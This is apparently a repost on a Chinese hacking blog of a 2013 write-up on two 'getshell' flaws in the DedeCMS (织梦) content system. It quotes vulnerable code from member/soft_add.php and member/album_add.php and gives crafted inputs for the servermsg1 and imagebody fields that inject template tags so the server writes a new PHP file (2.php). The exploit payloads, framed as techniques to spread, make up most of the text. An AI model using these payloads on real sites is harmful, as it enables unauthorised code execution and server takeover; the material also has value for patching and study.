记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

dedecms(织梦)鸡肋getshell

2013-02-15 16:30
gpc off 的getshell
/member/soft_add.php
 
 156      if($softurl1!='')
 157      {
 158          $urls .= "{dede:link islocal='1' text='{$servermsg1}'} $softurl1 {/dede:link}\r\n";
 159      }
其中的$servermsg1毫无过滤的进入了$url中
构造好$servermsg1=’}x{/dede:link}{dede:yy520 name\=”‘]=0;fputs(fopen(’2.php’,'w’),’justforfun’);//”}yy520{/dede:yy520}
在plus 底下就可以生成一个2.php
当$cfg_mb_rmdown 为N的时候的getshell
member/album_add.php
92      if($formhtml==1)
  93      {
  94          $imagebody = stripslashes($imagebody); //无视gpc了
  95          $imgurls .= GetCurContentAlbum($imagebody,$copysource,$litpicname);
  96          if($ddisfirst==1 && $litpic=='' && !empty($litpicname))
  97          {
  98              $litpic = $litpicname;
  99              $hasone = true;
 100          }
 101      }
 102      $info = '';
 
进入到GetCurContentAlbum
function GetCurContentAlbum($body,$rfurl,&$firstdd)
  28  {
  29      global $cfg_multi_site,$cfg_basehost,$ddmaxwidth,$cfg_basedir,$pagestyle,$cfg_mb_rmdown,$title,$cfg_ml,$cfg_user_dir;
  30      include_once (DEDEINC."/dedecollection.func.php");
  31      if(empty($ddmaxwidth)) $ddmaxwidth = 240;
  32      $rsimg = '';
  33      $basehost = "http://".$_SERVER["HTTP_HOST"];
  34      $img_array = array();
  35      preg_match_all("/(src|SRC)=[\"|'| ]{0,}(http:\/\/([^>]*)\.(gif|jpg|png))/isU", $body, $img_array);
  36      $img_array = array_unique($img_array[2]);
  37      $imgUrl = $cfg_user_dir."/".$cfg_ml->M_ID;
  38      $imgPath = $cfg_basedir.$imgUrl;
  39      if(!is_dir($imgPath."/"))
  40      {
  41          MkdirAll($imgPath,$GLOBALS['cfg_dir_purview']);
  42          CloseFtp();
  43      }
  44      $milliSecond = MyDate("ymdHis",time());
  45      foreach($img_array as $key => $value)
  46      {
  47          if(preg_match("#".$basehost."#i", $value))
  48          {
  49              continue;
  50          }
  51          if($cfg_basehost!=$basehost && preg_match("#".$cfg_basehost."#i", $value))
  52          {
  53              continue;
  54          }
  55          if(!preg_match("#^http:\/\/#i", $value))
  56          {
  57              continue;
  58          }
  59          if($cfg_mb_rmdown=='Y')
  {...........}
  
  93          else
  94          {
  95              $rsimg .= "{dede:img ddimg='$value' text='' width='0' height='0'} $value {/dede:img}\r\n";
  96          }
  97      }
  98      return $rsimg;
  99  }
构造
formhtml为1
imagabody为
src=http://{/dede:img}{dede:yy520 name\=”‘]=0;fputs(fopen(’2.php’,'w’),’justforfun’);//”}yy520{/dede:yy520}.jpg
知识来源: www.2cto.com/Article/201302/188970.html

阅读:109274 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“dedecms(织梦)鸡肋getshell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云